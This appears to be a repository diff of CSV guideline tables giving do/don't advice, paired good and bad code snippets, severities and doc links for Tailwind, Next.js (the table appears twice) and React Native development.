51,Colors,Theme color variables,Define colors in Tailwind theme and use directly,bg-primary text-success border-cta,bg-[var(--color-primary)] text-[var(--color-success)],bg-primary,bg-[var(--color-primary)],Medium,https://tailwindcss.com/docs/customizing-colors
|
||||
52,Colors,Use bg-linear-to-* for gradients,Tailwind v4 uses bg-linear-to-* syntax for gradients,bg-linear-to-r bg-linear-to-b,bg-gradient-to-* (deprecated in v4),bg-linear-to-r from-blue-500 to-purple-500,bg-gradient-to-r from-blue-500 to-purple-500,Medium,https://tailwindcss.com/docs/background-image
|
||||
53,Layout,Use shrink-0 shorthand,Shorter class name for flex-shrink-0,shrink-0 shrink,flex-shrink-0 flex-shrink,shrink-0,flex-shrink-0,Low,https://tailwindcss.com/docs/flex-shrink
|
||||
54,Layout,Use size-* for square dimensions,Single utility for equal width and height,size-4 size-8 size-12,Separate h-* w-* for squares,size-6,h-6 w-6,Low,https://tailwindcss.com/docs/size
|
||||
55,Images,SVG explicit dimensions,Add width/height attributes to SVGs to prevent layout shift before CSS loads,<svg class='size-6' width='24' height='24'>,SVG without explicit dimensions,<svg class='size-6' width='24' height='24'>,<svg class='size-6'>,High,
|
||||
|
||||
|
@@ -1,53 +1,53 @@
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,Routing,Use App Router for new projects,App Router is the recommended approach in Next.js 14+,app/ directory with page.tsx,pages/ for new projects,app/dashboard/page.tsx,pages/dashboard.tsx,Medium,https://nextjs.org/docs/app
|
||||
2,Routing,Use file-based routing,Create routes by adding files in app directory,page.tsx for routes layout.tsx for layouts,Manual route configuration,app/blog/[slug]/page.tsx,Custom router setup,Medium,https://nextjs.org/docs/app/building-your-application/routing
|
||||
3,Routing,Colocate related files,Keep components styles tests with their routes,Component files alongside page.tsx,Separate components folder,app/dashboard/_components/,components/dashboard/,Low,
|
||||
4,Routing,Use route groups for organization,Group routes without affecting URL,Parentheses for route groups,Nested folders affecting URL,(marketing)/about/page.tsx,marketing/about/page.tsx,Low,https://nextjs.org/docs/app/building-your-application/routing/route-groups
|
||||
5,Routing,Handle loading states,Use loading.tsx for route loading UI,loading.tsx alongside page.tsx,Manual loading state management,app/dashboard/loading.tsx,useState for loading in page,Medium,https://nextjs.org/docs/app/building-your-application/routing/loading-ui-and-streaming
|
||||
6,Routing,Handle errors with error.tsx,Catch errors at route level,error.tsx with reset function,try/catch in every component,app/dashboard/error.tsx,try/catch in page component,High,https://nextjs.org/docs/app/building-your-application/routing/error-handling
|
||||
7,Rendering,Use Server Components by default,Server Components reduce client JS bundle,Keep components server by default,Add 'use client' unnecessarily,export default function Page(),('use client') for static content,High,https://nextjs.org/docs/app/building-your-application/rendering/server-components
|
||||
8,Rendering,Mark Client Components explicitly,'use client' for interactive components,Add 'use client' only when needed,Server Component with hooks/events,('use client') for onClick useState,No directive with useState,High,https://nextjs.org/docs/app/building-your-application/rendering/client-components
|
||||
9,Rendering,Push Client Components down,Keep Client Components as leaf nodes,Client wrapper for interactive parts only,Mark page as Client Component,<InteractiveButton/> in Server Page,('use client') on page.tsx,High,
|
||||
10,Rendering,Use streaming for better UX,Stream content with Suspense boundaries,Suspense for slow data fetches,Wait for all data before render,<Suspense><SlowComponent/></Suspense>,await allData then render,Medium,https://nextjs.org/docs/app/building-your-application/routing/loading-ui-and-streaming
|
||||
11,Rendering,Choose correct rendering strategy,SSG for static SSR for dynamic ISR for semi-static,generateStaticParams for known paths,SSR for static content,export const revalidate = 3600,fetch without cache config,Medium,
|
||||
12,DataFetching,Fetch data in Server Components,Fetch directly in async Server Components,async function Page() { const data = await fetch() },useEffect for initial data,const data = await fetch(url),useEffect(() => fetch(url)),High,https://nextjs.org/docs/app/building-your-application/data-fetching
|
||||
13,DataFetching,Configure caching explicitly (Next.js 15+),Next.js 15 changed defaults to uncached for fetch,Explicitly set cache: 'force-cache' for static data,Assume default is cached (it's not in Next.js 15),fetch(url { cache: 'force-cache' }),fetch(url) // Uncached in v15,High,https://nextjs.org/docs/app/building-your-application/upgrading/version-15
|
||||
14,DataFetching,Deduplicate fetch requests,React and Next.js dedupe same requests,Same fetch call in multiple components,Manual request deduplication,Multiple components fetch same URL,Custom cache layer,Low,
|
||||
15,DataFetching,Use Server Actions for mutations,Server Actions for form submissions,action={serverAction} in forms,API route for every mutation,<form action={createPost}>,<form onSubmit={callApiRoute}>,Medium,https://nextjs.org/docs/app/building-your-application/data-fetching/server-actions-and-mutations
|
||||
16,DataFetching,Revalidate data appropriately,Use revalidatePath/revalidateTag after mutations,Revalidate after Server Action,'use client' with manual refetch,revalidatePath('/posts'),router.refresh() everywhere,Medium,https://nextjs.org/docs/app/building-your-application/caching#revalidating
|
||||
17,Images,Use next/image for optimization,Automatic image optimization and lazy loading,<Image> component for all images,<img> tags directly,<Image src={} alt={} width={} height={}>,<img src={}/>,High,https://nextjs.org/docs/app/building-your-application/optimizing/images
|
||||
18,Images,Provide width and height,Prevent layout shift with dimensions,width and height props or fill,Missing dimensions,<Image width={400} height={300}/>,<Image src={url}/>,High,
|
||||
19,Images,Use fill for responsive images,Fill container with object-fit,fill prop with relative parent,Fixed dimensions for responsive,"<Image fill className=""object-cover""/>",<Image width={window.width}/>,Medium,
|
||||
20,Images,Configure remote image domains,Whitelist external image sources,remotePatterns in next.config.js,Allow all domains,remotePatterns: [{ hostname: 'cdn.example.com' }],domains: ['*'],High,https://nextjs.org/docs/app/api-reference/components/image#remotepatterns
|
||||
21,Images,Use priority for LCP images,Mark above-fold images as priority,priority prop on hero images,All images with priority,<Image priority src={hero}/>,<Image priority/> on every image,Medium,
|
||||
22,Fonts,Use next/font for fonts,Self-hosted fonts with zero layout shift,next/font/google or next/font/local,External font links,import { Inter } from 'next/font/google',"<link href=""fonts.googleapis.com""/>",Medium,https://nextjs.org/docs/app/building-your-application/optimizing/fonts
|
||||
23,Fonts,Apply font to layout,Set font in root layout for consistency,className on body in layout.tsx,Font in individual pages,<body className={inter.className}>,Each page imports font,Low,
|
||||
24,Fonts,Use variable fonts,Variable fonts reduce bundle size,Single variable font file,Multiple font weights as files,Inter({ subsets: ['latin'] }),Inter_400 Inter_500 Inter_700,Low,
|
||||
25,Metadata,Use generateMetadata for dynamic,Generate metadata based on params,export async function generateMetadata(),Hardcoded metadata everywhere,generateMetadata({ params }),export const metadata = {},Medium,https://nextjs.org/docs/app/building-your-application/optimizing/metadata
|
||||
26,Metadata,Include OpenGraph images,Add OG images for social sharing,opengraph-image.tsx or og property,Missing social preview images,opengraph: { images: ['/og.png'] },No OG configuration,Medium,
|
||||
27,Metadata,Use metadata API,Export metadata object for static metadata,export const metadata = {},Manual head tags,export const metadata = { title: 'Page' },<head><title>Page</title></head>,Medium,
|
||||
28,API,Use Route Handlers for APIs,app/api routes for API endpoints,app/api/users/route.ts,pages/api for new projects,export async function GET(request),export default function handler,Medium,https://nextjs.org/docs/app/building-your-application/routing/route-handlers
|
||||
29,API,Return proper Response objects,Use NextResponse for API responses,NextResponse.json() for JSON,Plain objects or res.json(),return NextResponse.json({ data }),return { data },Medium,
|
||||
30,API,Handle HTTP methods explicitly,Export named functions for methods,Export GET POST PUT DELETE,Single handler for all methods,export async function POST(),switch(req.method),Low,
|
||||
31,API,Validate request body,Validate input before processing,Zod or similar for validation,Trust client input,const body = schema.parse(await req.json()),const body = await req.json(),High,
|
||||
32,Middleware,Use middleware for auth,Protect routes with middleware.ts,middleware.ts at root,Auth check in every page,export function middleware(request),if (!session) redirect in page,Medium,https://nextjs.org/docs/app/building-your-application/routing/middleware
|
||||
33,Middleware,Match specific paths,Configure middleware matcher,config.matcher for specific routes,Run middleware on all routes,matcher: ['/dashboard/:path*'],No matcher config,Medium,
|
||||
34,Middleware,Keep middleware edge-compatible,Middleware runs on Edge runtime,Edge-compatible code only,Node.js APIs in middleware,Edge-compatible auth check,fs.readFile in middleware,High,
|
||||
35,Environment,Use NEXT_PUBLIC prefix,Client-accessible env vars need prefix,NEXT_PUBLIC_ for client vars,Server vars exposed to client,NEXT_PUBLIC_API_URL,API_SECRET in client code,High,https://nextjs.org/docs/app/building-your-application/configuring/environment-variables
|
||||
36,Environment,Validate env vars,Check required env vars exist,Validate on startup,Undefined env at runtime,if (!process.env.DATABASE_URL) throw,process.env.DATABASE_URL (might be undefined),High,
|
||||
37,Environment,Use .env.local for secrets,Local env file for development secrets,.env.local gitignored,Secrets in .env committed,.env.local with secrets,.env with DATABASE_PASSWORD,High,
|
||||
38,Performance,Analyze bundle size,Use @next/bundle-analyzer,Bundle analyzer in dev,Ship large bundles blindly,ANALYZE=true npm run build,No bundle analysis,Medium,https://nextjs.org/docs/app/building-your-application/optimizing/bundle-analyzer
|
||||
39,Performance,Use dynamic imports,Code split with next/dynamic,dynamic() for heavy components,Import everything statically,const Chart = dynamic(() => import('./Chart')),import Chart from './Chart',Medium,https://nextjs.org/docs/app/building-your-application/optimizing/lazy-loading
|
||||
40,Performance,Avoid layout shifts,Reserve space for dynamic content,Skeleton loaders aspect ratios,Content popping in,"<Skeleton className=""h-48""/>",No placeholder for async content,High,
|
||||
41,Performance,Use Partial Prerendering,Combine static and dynamic in one route,Static shell with Suspense holes,Full dynamic or static pages,Static header + dynamic content,Entire page SSR,Low,https://nextjs.org/docs/app/building-your-application/rendering/partial-prerendering
|
||||
42,Link,Use next/link for navigation,Client-side navigation with prefetching,"<Link href=""""> for internal links",<a> for internal navigation,"<Link href=""/about"">About</Link>","<a href=""/about"">About</a>",High,https://nextjs.org/docs/app/api-reference/components/link
|
||||
43,Link,Prefetch strategically,Control prefetching behavior,prefetch={false} for low-priority,Prefetch all links,<Link prefetch={false}>,Default prefetch on every link,Low,
|
||||
44,Link,Use scroll option appropriately,Control scroll behavior on navigation,scroll={false} for tabs pagination,Always scroll to top,<Link scroll={false}>,Manual scroll management,Low,
|
||||
45,Config,Use next.config.js correctly,Configure Next.js behavior,Proper config options,Deprecated or wrong options,images: { remotePatterns: [] },images: { domains: [] },Medium,https://nextjs.org/docs/app/api-reference/next-config-js
|
||||
46,Config,Enable strict mode,Catch potential issues early,reactStrictMode: true,Strict mode disabled,reactStrictMode: true,reactStrictMode: false,Medium,
|
||||
47,Config,Configure redirects and rewrites,Use config for URL management,redirects() rewrites() in config,Manual redirect handling,redirects: async () => [...],res.redirect in pages,Medium,https://nextjs.org/docs/app/api-reference/next-config-js/redirects
|
||||
48,Deployment,Use Vercel for easiest deploy,Vercel optimized for Next.js,Deploy to Vercel,Self-host without knowledge,vercel deploy,Complex Docker setup for simple app,Low,https://nextjs.org/docs/app/building-your-application/deploying
|
||||
49,Deployment,Configure output for self-hosting,Set output option for deployment target,output: 'standalone' for Docker,Default output for containers,output: 'standalone',No output config for Docker,Medium,https://nextjs.org/docs/app/building-your-application/deploying#self-hosting
|
||||
50,Security,Sanitize user input,Never trust user input,Escape sanitize validate all input,Direct interpolation of user data,DOMPurify.sanitize(userInput),dangerouslySetInnerHTML={{ __html: userInput }},High,
|
||||
51,Security,Use CSP headers,Content Security Policy for XSS protection,Configure CSP in next.config.js,No security headers,headers() with CSP,No CSP configuration,High,https://nextjs.org/docs/app/building-your-application/configuring/content-security-policy
|
||||
52,Security,Validate Server Action input,Server Actions are public endpoints,Validate and authorize in Server Action,Trust Server Action input,Auth check + validation in action,Direct database call without check,High,
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,Routing,Use App Router for new projects,App Router is the recommended approach in Next.js 14+,app/ directory with page.tsx,pages/ for new projects,app/dashboard/page.tsx,pages/dashboard.tsx,Medium,https://nextjs.org/docs/app
|
||||
2,Routing,Use file-based routing,Create routes by adding files in app directory,page.tsx for routes layout.tsx for layouts,Manual route configuration,app/blog/[slug]/page.tsx,Custom router setup,Medium,https://nextjs.org/docs/app/building-your-application/routing
|
||||
3,Routing,Colocate related files,Keep components styles tests with their routes,Component files alongside page.tsx,Separate components folder,app/dashboard/_components/,components/dashboard/,Low,
|
||||
4,Routing,Use route groups for organization,Group routes without affecting URL,Parentheses for route groups,Nested folders affecting URL,(marketing)/about/page.tsx,marketing/about/page.tsx,Low,https://nextjs.org/docs/app/building-your-application/routing/route-groups
|
||||
5,Routing,Handle loading states,Use loading.tsx for route loading UI,loading.tsx alongside page.tsx,Manual loading state management,app/dashboard/loading.tsx,useState for loading in page,Medium,https://nextjs.org/docs/app/building-your-application/routing/loading-ui-and-streaming
|
||||
6,Routing,Handle errors with error.tsx,Catch errors at route level,error.tsx with reset function,try/catch in every component,app/dashboard/error.tsx,try/catch in page component,High,https://nextjs.org/docs/app/building-your-application/routing/error-handling
|
||||
7,Rendering,Use Server Components by default,Server Components reduce client JS bundle,Keep components server by default,Add 'use client' unnecessarily,export default function Page(),('use client') for static content,High,https://nextjs.org/docs/app/building-your-application/rendering/server-components
|
||||
8,Rendering,Mark Client Components explicitly,'use client' for interactive components,Add 'use client' only when needed,Server Component with hooks/events,('use client') for onClick useState,No directive with useState,High,https://nextjs.org/docs/app/building-your-application/rendering/client-components
|
||||
9,Rendering,Push Client Components down,Keep Client Components as leaf nodes,Client wrapper for interactive parts only,Mark page as Client Component,<InteractiveButton/> in Server Page,('use client') on page.tsx,High,
|
||||
10,Rendering,Use streaming for better UX,Stream content with Suspense boundaries,Suspense for slow data fetches,Wait for all data before render,<Suspense><SlowComponent/></Suspense>,await allData then render,Medium,https://nextjs.org/docs/app/building-your-application/routing/loading-ui-and-streaming
|
||||
11,Rendering,Choose correct rendering strategy,SSG for static SSR for dynamic ISR for semi-static,generateStaticParams for known paths,SSR for static content,export const revalidate = 3600,fetch without cache config,Medium,
|
||||
12,DataFetching,Fetch data in Server Components,Fetch directly in async Server Components,async function Page() { const data = await fetch() },useEffect for initial data,const data = await fetch(url),useEffect(() => fetch(url)),High,https://nextjs.org/docs/app/building-your-application/data-fetching
|
||||
13,DataFetching,Configure caching explicitly (Next.js 15+),Next.js 15 changed defaults to uncached for fetch,Explicitly set cache: 'force-cache' for static data,Assume default is cached (it's not in Next.js 15),fetch(url { cache: 'force-cache' }),fetch(url) // Uncached in v15,High,https://nextjs.org/docs/app/building-your-application/upgrading/version-15
|
||||
14,DataFetching,Deduplicate fetch requests,React and Next.js dedupe same requests,Same fetch call in multiple components,Manual request deduplication,Multiple components fetch same URL,Custom cache layer,Low,
|
||||
15,DataFetching,Use Server Actions for mutations,Server Actions for form submissions,action={serverAction} in forms,API route for every mutation,<form action={createPost}>,<form onSubmit={callApiRoute}>,Medium,https://nextjs.org/docs/app/building-your-application/data-fetching/server-actions-and-mutations
|
||||
16,DataFetching,Revalidate data appropriately,Use revalidatePath/revalidateTag after mutations,Revalidate after Server Action,'use client' with manual refetch,revalidatePath('/posts'),router.refresh() everywhere,Medium,https://nextjs.org/docs/app/building-your-application/caching#revalidating
|
||||
17,Images,Use next/image for optimization,Automatic image optimization and lazy loading,<Image> component for all images,<img> tags directly,<Image src={} alt={} width={} height={}>,<img src={}/>,High,https://nextjs.org/docs/app/building-your-application/optimizing/images
|
||||
18,Images,Provide width and height,Prevent layout shift with dimensions,width and height props or fill,Missing dimensions,<Image width={400} height={300}/>,<Image src={url}/>,High,
|
||||
19,Images,Use fill for responsive images,Fill container with object-fit,fill prop with relative parent,Fixed dimensions for responsive,"<Image fill className=""object-cover""/>",<Image width={window.width}/>,Medium,
|
||||
20,Images,Configure remote image domains,Whitelist external image sources,remotePatterns in next.config.js,Allow all domains,remotePatterns: [{ hostname: 'cdn.example.com' }],domains: ['*'],High,https://nextjs.org/docs/app/api-reference/components/image#remotepatterns
|
||||
21,Images,Use priority for LCP images,Mark above-fold images as priority,priority prop on hero images,All images with priority,<Image priority src={hero}/>,<Image priority/> on every image,Medium,
|
||||
22,Fonts,Use next/font for fonts,Self-hosted fonts with zero layout shift,next/font/google or next/font/local,External font links,import { Inter } from 'next/font/google',"<link href=""fonts.googleapis.com""/>",Medium,https://nextjs.org/docs/app/building-your-application/optimizing/fonts
|
||||
23,Fonts,Apply font to layout,Set font in root layout for consistency,className on body in layout.tsx,Font in individual pages,<body className={inter.className}>,Each page imports font,Low,
|
||||
24,Fonts,Use variable fonts,Variable fonts reduce bundle size,Single variable font file,Multiple font weights as files,Inter({ subsets: ['latin'] }),Inter_400 Inter_500 Inter_700,Low,
|
||||
25,Metadata,Use generateMetadata for dynamic,Generate metadata based on params,export async function generateMetadata(),Hardcoded metadata everywhere,generateMetadata({ params }),export const metadata = {},Medium,https://nextjs.org/docs/app/building-your-application/optimizing/metadata
|
||||
26,Metadata,Include OpenGraph images,Add OG images for social sharing,opengraph-image.tsx or og property,Missing social preview images,opengraph: { images: ['/og.png'] },No OG configuration,Medium,
|
||||
27,Metadata,Use metadata API,Export metadata object for static metadata,export const metadata = {},Manual head tags,export const metadata = { title: 'Page' },<head><title>Page</title></head>,Medium,
|
||||
28,API,Use Route Handlers for APIs,app/api routes for API endpoints,app/api/users/route.ts,pages/api for new projects,export async function GET(request),export default function handler,Medium,https://nextjs.org/docs/app/building-your-application/routing/route-handlers
|
||||
29,API,Return proper Response objects,Use NextResponse for API responses,NextResponse.json() for JSON,Plain objects or res.json(),return NextResponse.json({ data }),return { data },Medium,
|
||||
30,API,Handle HTTP methods explicitly,Export named functions for methods,Export GET POST PUT DELETE,Single handler for all methods,export async function POST(),switch(req.method),Low,
|
||||
31,API,Validate request body,Validate input before processing,Zod or similar for validation,Trust client input,const body = schema.parse(await req.json()),const body = await req.json(),High,
|
||||
32,Middleware,Use middleware for auth,Protect routes with middleware.ts,middleware.ts at root,Auth check in every page,export function middleware(request),if (!session) redirect in page,Medium,https://nextjs.org/docs/app/building-your-application/routing/middleware
|
||||
33,Middleware,Match specific paths,Configure middleware matcher,config.matcher for specific routes,Run middleware on all routes,matcher: ['/dashboard/:path*'],No matcher config,Medium,
|
||||
34,Middleware,Keep middleware edge-compatible,Middleware runs on Edge runtime,Edge-compatible code only,Node.js APIs in middleware,Edge-compatible auth check,fs.readFile in middleware,High,
|
||||
35,Environment,Use NEXT_PUBLIC prefix,Client-accessible env vars need prefix,NEXT_PUBLIC_ for client vars,Server vars exposed to client,NEXT_PUBLIC_API_URL,API_SECRET in client code,High,https://nextjs.org/docs/app/building-your-application/configuring/environment-variables
|
||||
36,Environment,Validate env vars,Check required env vars exist,Validate on startup,Undefined env at runtime,if (!process.env.DATABASE_URL) throw,process.env.DATABASE_URL (might be undefined),High,
|
||||
37,Environment,Use .env.local for secrets,Local env file for development secrets,.env.local gitignored,Secrets in .env committed,.env.local with secrets,.env with DATABASE_PASSWORD,High,
|
||||
38,Performance,Analyze bundle size,Use @next/bundle-analyzer,Bundle analyzer in dev,Ship large bundles blindly,ANALYZE=true npm run build,No bundle analysis,Medium,https://nextjs.org/docs/app/building-your-application/optimizing/bundle-analyzer
|
||||
39,Performance,Use dynamic imports,Code split with next/dynamic,dynamic() for heavy components,Import everything statically,const Chart = dynamic(() => import('./Chart')),import Chart from './Chart',Medium,https://nextjs.org/docs/app/building-your-application/optimizing/lazy-loading
|
||||
40,Performance,Avoid layout shifts,Reserve space for dynamic content,Skeleton loaders aspect ratios,Content popping in,"<Skeleton className=""h-48""/>",No placeholder for async content,High,
|
||||
41,Performance,Use Partial Prerendering,Combine static and dynamic in one route,Static shell with Suspense holes,Full dynamic or static pages,Static header + dynamic content,Entire page SSR,Low,https://nextjs.org/docs/app/building-your-application/rendering/partial-prerendering
|
||||
42,Link,Use next/link for navigation,Client-side navigation with prefetching,"<Link href=""""> for internal links",<a> for internal navigation,"<Link href=""/about"">About</Link>","<a href=""/about"">About</a>",High,https://nextjs.org/docs/app/api-reference/components/link
|
||||
43,Link,Prefetch strategically,Control prefetching behavior,prefetch={false} for low-priority,Prefetch all links,<Link prefetch={false}>,Default prefetch on every link,Low,
|
||||
44,Link,Use scroll option appropriately,Control scroll behavior on navigation,scroll={false} for tabs pagination,Always scroll to top,<Link scroll={false}>,Manual scroll management,Low,
|
||||
45,Config,Use next.config.js correctly,Configure Next.js behavior,Proper config options,Deprecated or wrong options,images: { remotePatterns: [] },images: { domains: [] },Medium,https://nextjs.org/docs/app/api-reference/next-config-js
|
||||
46,Config,Enable strict mode,Catch potential issues early,reactStrictMode: true,Strict mode disabled,reactStrictMode: true,reactStrictMode: false,Medium,
|
||||
47,Config,Configure redirects and rewrites,Use config for URL management,redirects() rewrites() in config,Manual redirect handling,redirects: async () => [...],res.redirect in pages,Medium,https://nextjs.org/docs/app/api-reference/next-config-js/redirects
|
||||
48,Deployment,Use Vercel for easiest deploy,Vercel optimized for Next.js,Deploy to Vercel,Self-host without knowledge,vercel deploy,Complex Docker setup for simple app,Low,https://nextjs.org/docs/app/building-your-application/deploying
|
||||
49,Deployment,Configure output for self-hosting,Set output option for deployment target,output: 'standalone' for Docker,Default output for containers,output: 'standalone',No output config for Docker,Medium,https://nextjs.org/docs/app/building-your-application/deploying#self-hosting
|
||||
50,Security,Sanitize user input,Never trust user input,Escape sanitize validate all input,Direct interpolation of user data,DOMPurify.sanitize(userInput),dangerouslySetInnerHTML={{ __html: userInput }},High,
|
||||
51,Security,Use CSP headers,Content Security Policy for XSS protection,Configure CSP in next.config.js,No security headers,headers() with CSP,No CSP configuration,High,https://nextjs.org/docs/app/building-your-application/configuring/content-security-policy
|
||||
52,Security,Validate Server Action input,Server Actions are public endpoints,Validate and authorize in Server Action,Trust Server Action input,Auth check + validation in action,Direct database call without check,High,
|
||||
|
||||
|
@@ -1,52 +1,52 @@
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,Components,Use functional components,Hooks-based components are standard,Functional components with hooks,Class components,const App = () => { },class App extends Component,Medium,https://reactnative.dev/docs/intro-react
|
||||
2,Components,Keep components small,Single responsibility principle,Split into smaller components,Large monolithic components,<Header /><Content /><Footer />,500+ line component,Medium,
|
||||
3,Components,Use TypeScript,Type safety for props and state,TypeScript for new projects,JavaScript without types,const Button: FC<Props> = () => { },const Button = (props) => { },Medium,
|
||||
4,Components,Colocate component files,Keep related files together,Component folder with styles,Flat structure,components/Button/index.tsx styles.ts,components/Button.tsx styles/button.ts,Low,
|
||||
5,Styling,Use StyleSheet.create,Optimized style objects,StyleSheet for all styles,Inline style objects,StyleSheet.create({ container: {} }),style={{ margin: 10 }},High,https://reactnative.dev/docs/stylesheet
|
||||
6,Styling,Avoid inline styles,Prevent object recreation,Styles in StyleSheet,Inline style objects in render,style={styles.container},"style={{ margin: 10, padding: 5 }}",Medium,
|
||||
7,Styling,Use flexbox for layout,React Native uses flexbox,flexDirection alignItems justifyContent,Absolute positioning everywhere,flexDirection: 'row',position: 'absolute' everywhere,Medium,https://reactnative.dev/docs/flexbox
|
||||
8,Styling,Handle platform differences,Platform-specific styles,Platform.select or .ios/.android files,Same styles for both platforms,"Platform.select({ ios: {}, android: {} })",Hardcoded iOS values,Medium,https://reactnative.dev/docs/platform-specific-code
|
||||
9,Styling,Use responsive dimensions,Scale for different screens,Dimensions or useWindowDimensions,Fixed pixel values,useWindowDimensions(),width: 375,Medium,
|
||||
10,Navigation,Use React Navigation,Standard navigation library,React Navigation for routing,Manual navigation management,createStackNavigator(),Custom navigation state,Medium,https://reactnavigation.org/
|
||||
11,Navigation,Type navigation params,Type-safe navigation,Typed navigation props,Untyped navigation,"navigation.navigate<RootStackParamList>('Home', { id })","navigation.navigate('Home', { id })",Medium,
|
||||
12,Navigation,Use deep linking,Support URL-based navigation,Configure linking prop,No deep link support,linking: { prefixes: [] },No linking configuration,Medium,https://reactnavigation.org/docs/deep-linking/
|
||||
13,Navigation,Handle back button,Android back button handling,useFocusEffect with BackHandler,Ignore back button,BackHandler.addEventListener,No back handler,High,
|
||||
14,State,Use useState for local state,Simple component state,useState for UI state,Class component state,"const [count, setCount] = useState(0)",this.state = { count: 0 },Medium,
|
||||
15,State,Use useReducer for complex state,Complex state logic,useReducer for related state,Multiple useState for related values,useReducer(reducer initialState),5+ useState calls,Medium,
|
||||
16,State,Use context sparingly,Context for global state,Context for theme auth locale,Context for frequently changing data,ThemeContext for app theme,Context for list item data,Medium,
|
||||
17,State,Consider Zustand or Redux,External state management,Zustand for simple Redux for complex,useState for global state,create((set) => ({ })),Prop drilling global state,Medium,
|
||||
18,Lists,Use FlatList for long lists,Virtualized list rendering,FlatList for 50+ items,ScrollView with map,<FlatList data={items} />,<ScrollView>{items.map()}</ScrollView>,High,https://reactnative.dev/docs/flatlist
|
||||
19,Lists,Provide keyExtractor,Unique keys for list items,keyExtractor with stable ID,Index as key,keyExtractor={(item) => item.id},"keyExtractor={(_, index) => index}",High,
|
||||
20,Lists,Optimize renderItem,Memoize list item components,React.memo for list items,Inline render function,renderItem={({ item }) => <MemoizedItem item={item} />},renderItem={({ item }) => <View>...</View>},High,
|
||||
21,Lists,Use getItemLayout for fixed height,Skip measurement for performance,getItemLayout when height known,Dynamic measurement for fixed items,"getItemLayout={(_, index) => ({ length: 50, offset: 50 * index, index })}",No getItemLayout for fixed height,Medium,
|
||||
22,Lists,Implement windowSize,Control render window,Smaller windowSize for memory,Default windowSize for large lists,windowSize={5},windowSize={21} for huge lists,Medium,
|
||||
23,Performance,Use React.memo,Prevent unnecessary re-renders,memo for pure components,No memoization,export default memo(MyComponent),export default MyComponent,Medium,
|
||||
24,Performance,Use useCallback for handlers,Stable function references,useCallback for props,New function on every render,"useCallback(() => {}, [deps])",() => handlePress(),Medium,
|
||||
25,Performance,Use useMemo for expensive ops,Cache expensive calculations,useMemo for heavy computations,Recalculate every render,"useMemo(() => expensive(), [deps])",const result = expensive(),Medium,
|
||||
26,Performance,Avoid anonymous functions in JSX,Prevent re-renders,Named handlers or useCallback,Inline arrow functions,onPress={handlePress},onPress={() => doSomething()},Medium,
|
||||
27,Performance,Use Hermes engine,Improved startup and memory,Enable Hermes in build,JavaScriptCore for new projects,hermes_enabled: true,hermes_enabled: false,Medium,https://reactnative.dev/docs/hermes
|
||||
28,Images,Use expo-image,Modern performant image component for React Native,"Use expo-image for caching, blurring, and performance",Use default Image for heavy lists or unmaintained libraries,<Image source={url} cachePolicy='memory-disk' /> (expo-image),<FastImage source={url} />,Medium,https://docs.expo.dev/versions/latest/sdk/image/
|
||||
29,Images,Specify image dimensions,Prevent layout shifts,width and height for remote images,No dimensions for network images,<Image style={{ width: 100 height: 100 }} />,<Image source={{ uri }} /> no size,High,
|
||||
30,Images,Use resizeMode,Control image scaling,resizeMode cover contain,Stretch images,"resizeMode=""cover""",No resizeMode,Low,
|
||||
31,Forms,Use controlled inputs,State-controlled form fields,value + onChangeText,Uncontrolled inputs,<TextInput value={text} onChangeText={setText} />,<TextInput defaultValue={text} />,Medium,
|
||||
32,Forms,Handle keyboard,Manage keyboard visibility,KeyboardAvoidingView,Content hidden by keyboard,"<KeyboardAvoidingView behavior=""padding"">",No keyboard handling,High,https://reactnative.dev/docs/keyboardavoidingview
|
||||
33,Forms,Use proper keyboard types,Appropriate keyboard for input,keyboardType for input type,Default keyboard for all,"keyboardType=""email-address""","keyboardType=""default"" for email",Low,
|
||||
34,Touch,Use Pressable,Modern touch handling,Pressable for touch interactions,TouchableOpacity for new code,<Pressable onPress={} />,<TouchableOpacity onPress={} />,Low,https://reactnative.dev/docs/pressable
|
||||
35,Touch,Provide touch feedback,Visual feedback on press,Ripple or opacity change,No feedback on press,android_ripple={{ color: 'gray' }},No press feedback,Medium,
|
||||
36,Touch,Set hitSlop for small targets,Increase touch area,hitSlop for icons and small buttons,Tiny touch targets,hitSlop={{ top: 10 bottom: 10 }},44x44 with no hitSlop,Medium,
|
||||
37,Animation,Use Reanimated,High-performance animations,react-native-reanimated,Animated API for complex,useSharedValue useAnimatedStyle,Animated.timing for gesture,Medium,https://docs.swmansion.com/react-native-reanimated/
|
||||
38,Animation,Run on UI thread,worklets for smooth animation,Run animations on UI thread,JS thread animations,runOnUI(() => {}),Animated on JS thread,High,
|
||||
39,Animation,Use gesture handler,Native gesture recognition,react-native-gesture-handler,JS-based gesture handling,<GestureDetector>,<View onTouchMove={} />,Medium,https://docs.swmansion.com/react-native-gesture-handler/
|
||||
40,Async,Handle loading states,Show loading indicators,ActivityIndicator during load,Empty screen during load,{isLoading ? <ActivityIndicator /> : <Content />},No loading state,Medium,
|
||||
41,Async,Handle errors gracefully,Error boundaries and fallbacks,Error UI for failed requests,Crash on error,{error ? <ErrorView /> : <Content />},No error handling,High,
|
||||
42,Async,Cancel async operations,Cleanup on unmount,AbortController or cleanup,Memory leaks from async,useEffect cleanup,No cleanup for subscriptions,High,
|
||||
43,Accessibility,Add accessibility labels,Describe UI elements,accessibilityLabel for all interactive,Missing labels,"accessibilityLabel=""Submit form""",<Pressable> without label,High,https://reactnative.dev/docs/accessibility
|
||||
44,Accessibility,Use accessibility roles,Semantic meaning,accessibilityRole for elements,Wrong roles,"accessibilityRole=""button""",No role for button,Medium,
|
||||
45,Accessibility,Support screen readers,Test with TalkBack/VoiceOver,Test with screen readers,Skip accessibility testing,Regular TalkBack testing,No screen reader testing,High,
|
||||
46,Testing,Use React Native Testing Library,Component testing,render and fireEvent,Enzyme or manual testing,render(<Component />),shallow(<Component />),Medium,https://callstack.github.io/react-native-testing-library/
|
||||
47,Testing,Test on real devices,Real device behavior,Test on iOS and Android devices,Simulator only,Device testing in CI,Simulator only testing,High,
|
||||
48,Testing,Use Detox for E2E,End-to-end testing,Detox for critical flows,Manual E2E testing,detox test,Manual testing only,Medium,https://wix.github.io/Detox/
|
||||
49,Native,Use native modules carefully,Bridge has overhead,Batch native calls,Frequent bridge crossing,Batch updates,Call native on every keystroke,High,
|
||||
50,Native,Use Expo when possible,Simplified development,Expo for standard features,Bare RN for simple apps,expo install package,react-native link package,Low,https://docs.expo.dev/
|
||||
